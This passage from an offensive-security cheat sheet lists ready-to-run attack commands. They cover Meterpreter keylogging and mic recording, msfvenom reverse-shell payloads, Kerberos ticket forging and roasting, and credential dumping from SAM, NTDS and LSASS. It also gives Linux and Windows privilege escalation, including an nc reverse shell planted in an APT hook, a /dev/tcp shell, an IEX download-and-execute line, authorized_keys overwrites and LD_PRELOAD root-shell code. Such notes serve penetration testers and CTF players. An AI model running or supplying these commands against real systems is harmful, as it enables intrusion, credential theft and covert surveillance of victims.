meterpreter > run post/multi/recon/local_exploit_suggester // checking for exploits
meterpreter > run post/windows/manage/enable_rdp // enables rdp
meterpreter > run post/multi/manage/autoroute // runs autoroutes
meterpreter > run auxiliary/server/socks4a // runs socks4 proxy server
meterpreter > keyscan_start // enabled keylogger
meterpreter > keyscan_dump // showing the output
meterpreter > screenshare // realtime screen sharing
meterpreter > screenshare -q 100 // realtime screen sharing
meterpreter > record_mic // recording mic output
meterpreter > timestomp // modify timestamps
meterpreter > execute -f calc.exe // starts a program on the victim
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1 // port forwardingMetasploit through Proxychains
proxychains -q msfconsoleAuxiliary Output Directory
/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txtMeterpreter Listener
Generate Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exeSetup Listener for Microsoft Windows
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > runDownload Files
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exemsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run.\<FILE>.exemeterpreter > download *Post Exploitation
ADCSTemplate
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users'BloodHound
pip install bloodhound
sudo apt-get install neo4j
sudo apt-get install bloodhoundInstalling and starting Database
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl start neo4jsudo neo4j start console
sudo bloodhound --no-sandboxDocker Container
docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-communityDatabase Password Reset
ALTER USER neo4j SET PASSWORD '<PASSWORD>'BloodHound Python
bloodhound-python -d <DOMAIN> -u <USERNAME> -p "<PASSWORD>" -gc <DOMAIN> -c all -ns <RHOST>
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -ns <RHOST> -c All
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -dc <RHOST> -ns <RHOST> --dns-tcp -no-pass -c ALL --zipCertify
.\Certify find /vulnerable
.\Certify.exe find /vulnerable /currentuserCertipy
certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>Account Creation
certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <DOMAIN_CONTROLLER_DNS_NAME> -user <COMPUTERNAME>Authentication
certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>LDAP-Shell
certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell# add_user <USERNAME>
# add_user_to_group <GROUP>Certificate Forging
certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-oldCertificate Request
Run the following command twice because of a current issue with certipy.
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST>certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN>
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debugRevert Changes
certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.jsonStart BloodHound Fork
./BloodHound --disable-gpu-sandboxenum4linux-ng
enum4linux-ng -A <RHOST>Evil-WinRM
evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -SImpacket
impacket-smbserver local . -smb2support
impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION>
impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION>
impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt
impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
impacket-getST <DOMAIN>/<USERNAME>$ -spn WWW/<DOMAIN_CONTROLLER>.<DOMAIN> -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-atexec -k -no-pass <DOMAIN>/Administrator@<DOMAIN_CONTROLLER>.<DOMAIN> 'type C:\PATH\TO\FILE\<FILE>'impacket-smbclient
export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-passimpacket-getTGT
impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD>
impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2cimpacket-GetNPUsers
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST>
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hashesimpacket-getUserSPNs
export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -requestimpacket-secretsdump
export KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump <RHOST>/<USERNAME>@<RHOST>
impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCALimpacket-psexec
impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18impacket-ticketer
Requirements
- Valid User
- NTHASH
- Domain-SID
export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <RHOST> -spn MSSQLSVC/<RHOST>.<RHOST> -user-id 500 AdministratorFixing [-] exceptions must derive from BaseException
Issue
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] exceptions must derive from BaseExceptionHow to fix it
241 if self.__doKerberos:
242 #target = self.getMachineName()
243 target = self.__kdcHostdacledit.py
$ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' -dc-ip <RHOST> -action read -principal '<USERNAME>' -target '<GROUP>' -debugFixing msada_guids Error
#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTSThen put the msada_guids.py into the same directory as dacledit.py
https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py
owneredit.py
$ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debugJAWS
IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')Kerberos
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
General Notes
- Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
- Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
- Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).
Bruteforce
./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>With List of Users
.\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>Check Passwords for all Users in Domain
.\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>ASPREPRoast
Check ASPREPRoast for all Domain Users (Credentials required)
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>Check ASPREPRoast for a List of Users (No Credentials required)
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>Check ASPREPRoast for all Domain Users in Domain
.\Rubeus.exe asreproast /format:hashcat /outfile:<FILE>Kerberoasting
impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
.\Rubeus.exe kerberoast /outfile:<FILE>
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>Overpass The Hash/Pass The Key (PTK)
Request TGT with Hash
impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)
impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>Request TGT with Password
impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>Set TGT for Impacket Usage
export KRB5CCNAME=<USERNAME>.ccacheExecute Remote Commands
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passAsk and inject the Ticket
.\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /pttExecute a CMD on Remote Host
.\PsExec.exe -accepteula \\<RHOST> cmdPass The Ticket (PTT)
Harvest Tickets from Linux
Check Type and Location of Tickets
grep default_ccache_name /etc/krb5.conf- If none return, default is FILE:/tmp/krb5cc_%{uid}
- In Case of File Tickets it is possible to Copy-Paste them to use them
- In Case of being KEYRING Tickets, the Tool tickey can be used to get them
- To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
- To inject, the Ticket have to be copied in a reachable Folder by all Users
cp tickey /tmp/tickey
/tmp/tickey -iHarvest Tickets from Windows
sekurlsa::tickets /export
.\Rubeus dumpConvert Tickets dumped with Rubeus into base64
[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))Convert Tickets between Linux and Windows Format with ticket_converter.py
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbiUsing Ticket on Linux
export KRB5CCNAME=<USERNAME>.ccacheExecute Remote Commands by using TGT
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passUsing Ticket on Windows
Inject Ticket with mimikatz
kerberos::ptt <KIRBI_FILE>Inject Ticket with Rubeus
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>Execute a CMD on Remote Host
.\PsExec.exe -accepteula \\<RHOST> cmdSilver Ticket
Impacket Examples
Generate TGS with NTLM
python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME>Generate TGS with aesKey
python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME>Set the ticket for impacket use
export KRB5CCNAME=<USERNAME>.ccacheExecute Remote Commands by using TGT
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passmimikatz Examples
Generate TGS with NTLM
kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>Generate TGS with AES 128bit Key
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>Inject TGS with Mimikatz
kerberos::ptt <KIRBI_FILE>Rubeus Examples
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>Execute CMD on Remote Host
.\PsExec.exe -accepteula \\<RHOST> cmdGolden Ticket
Impacket Examples
Generate TGT with NTLM
python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN> <USERNAME>Generate TGT with aesKey
python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> <USERNAME>Set TGT for Impacket Usage
export KRB5CCNAME=<USERNAME>.ccacheExecute Remote Commands by using TGT
impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passmimikatz Examples
Generate TGT with NTLM
kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>Generate TGT with AES 128bit Key
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>Inject TGT with Mimikatz
kerberos::ptt <KIRBI_FILE>Rubeus Examples
Inject Ticket with Rubeus
.\Rubeus.exe ptt /ticket:<KIRBI_FILE>Execute CMD on Remote Host
.\PsExec.exe -accepteula \\<RHOST> cmdGet NTLM from Password
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'ldapsearch
ldapsearch -x -w <PASSWORD>
ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -x -b "dc=<RHOST>,dc=local" "*" -h <RHOST> | awk '/dn: / {print $2}'
ldapsearch -x -D "cn=admin,dc=<RHOST>,dc=local" -s sub "cn=*" -h <RHOST> | awk '/uid: /{print $2}' | nl
ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<RHOST>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -H ldap://<DOMAIN> -b "DC=<DOMAIN>,DC=local" > <FILE>.txtLinux
Basic Linux Enumeration
id
sudo -l
uname -a
cat /etc/hosts
cat /etc/fstab
cat /etc/passwd
ss -tulpn
ps -auxf
ls -lahv
ls -R /home
ls -la /optfind Commands
find / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
find / -group <GROUP> 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -cmin -60 // find files changed within the last 60 minutes
find / -amin -60 // find files accesses within the last 60 minutes
find ./ -type f -exec grep --color=always -i -I 'password' {} \; // search for passwordsgrep for Passwords
grep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf
grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$" // grep for passwords like "DBPassword:"Apache2
Read first Line of a File with apache2 Binary
sudo /usr/sbin/apache2 -f <FILE>APT
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>arua2c
aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=trueBash Debugging Mode
- Bash <4.4
env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>Bash Functions
- Bash <4.2-048
function /usr/sbin/<BINARY> { /bin/bash -p; }
export -f /usr/sbin/<BINARY>
/usr/sbin/<BINARY>LD_PRELOAD
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}or
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}Compiling
gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles Privilege Escalation
sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>LD_LIBRARY_PATH
Get Information about Libraries
ldd /PATH/TO/BINARY/<BINARY>shell.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}Compiling
gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.cPrivilege Escalation
sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>logrotten
if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fiIf "create"-option is set in logrotate.cfg
./logrotten -p ./payloadfile /tmp/log/pwnme.logIf "compress"-option is set in logrotate.cfg
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.logPath Variable Hijacking
find / -perm -u=s -type f 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH=$(pwd):$PATHPHP7.2
/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"Wildcards
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for.
Instead of an option, it creates a file, named --checkpoint=1.
touch -- --checkpoint=1or
touch ./--checkpoint=1So after creating the --checkpoint=1 file, i created another file, which executes a shell script.
touch -- '--checkpoint-action=exec=sh shell.sh'or
touch ./--checkpoint-action=exec=<FILE>To delete a misconfigured file, put a ./ in front of it.
rm ./'--checkpoint-action=exec=python script.sh'Writeable Directories in Linux
/dev/shm
/tmpMicrosoft Windows
Basic Windows Enumeration
systeminfo
whoami /all
net users
net users <USERNAME>
tasklist /SVC
sc query
sc qc <SERVICE>
netsh firewall show state
schtasks /query /fo LIST /v
findstr /si password *.xml *.ini *.txt
dir /s *pass* == *cred* == *vnc* == *.config*
accesschk.exe -uws "Everyone" "C:\Program Files\"
wmic qfe get Caption,Description,HotFixID,InstalledOn
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', PathAppLocker Bypass List
Bypass List (Windows 10 Build 1803):
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
accesschk
Checking File Permissions
.\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"Checking Service Permissions
.\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvcChecking Path Permissions to find Unquoted Service Paths
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"Checking Registry Entries
.\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>Adding Users to Groups
net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>
net localgroup "Remote Management Users" /add <USERNAME>Enable Remote Desktop (RDP)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yesor
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
Enable-NetFirewallRule -DisplayGroup "Remote Desktop";Privileges and Permissions
AlwaysInstallElevated
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> –f msi > <FILE>.msimsiexec /quiet /qn /i <FILE>.msiSeBackup and SeRestore Privilege
Backup SAM and SYSTEM Hashes
reg save hklm\system C:\Users\<USERNAME>\system.hive
reg save hklm\sam C:\Users\<USERNAME>\sam.hiveDumping Hashes
secretsdump.py -sam sam.hive -system system.hive LOCALSeBackupPrivilege Privilege Escalation (diskshadow)
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
Script for PowerShell Environment
SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:pdiskshadow /s <FILE>.txtCopy ntds.dit
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.ditExport System Registry Value
reg save HKLM\SYSTEM c:\temp\systemDownload ndts.dit and system and get the hashes from secretsdump.py of the impacket-suite.
SeTakeOwnership Privilege
takeown /f C:\Windows\System32\Utilman.exeicacls C:\Windows\System32\Utilman.exe /grant Everyone:FC:\Windows\System32\> copy cmd.exe utilman.exeClick the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.
SeImpersonate and SeAssignPrimaryToken Privilege
.\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"Registry Handling
Enable Colored Output
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1Then open a new Terminal Window.
Check for Auto Run Programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunGet Registry Key Information
req query <REGISTRY_KEY>Modify Registry Key
reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /fSearching for Credentials
Quick Wins
https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09
cmdkey /list
rundll32 keymgr.dll, KRShowKeyMgr
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /sSearch for Passwords
dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txtPowerShell History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtSaved Windows Credentials
cmdkey /list
runas /savecred /user:<USERNAME> cmd.exeSearch the Registry for Passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sDumping Credentials
reg save hklm\system system
reg save hklm\sam sam
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.saveInternet Information Service (IIS)
C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringPuTTY
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /sLsass
tasklist
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp fullUnattended Windows Installations
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xmlInsecure Service Permissions
accesschk64.exe -qlc <SERVICE>
icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem
sc stop <SERVICE>
sc start <SERVICE>Service Handling
sc create <SERVICE_NAME>
sc start <SERVICE_NAME>
sc qc <SERVICE_NAME>Scheduled Tasks
schtasks
schtasks /query /tn <TASK> /fo list /v
schtasks /run /tn <TASK>
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,StateUnquoted Service Paths
Search for Unquoted Service Paths by using sc qc.
sc qc
sc qc <SERVICE>
sc stop <SERVICE>
sc start <SERVICE>icacls <PROGRAM>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:FwriteDACL
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSyncWMIC
wmic product get name,version,vendor
wmic qfe get Caption,Description,HotFixID,InstalledOn # no new patches - KEXP pretty likelyPassTheCert
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'PKINITtools
python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
export KRB5CCNAME=<USERNAME>.ccache
python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554Port Scanning
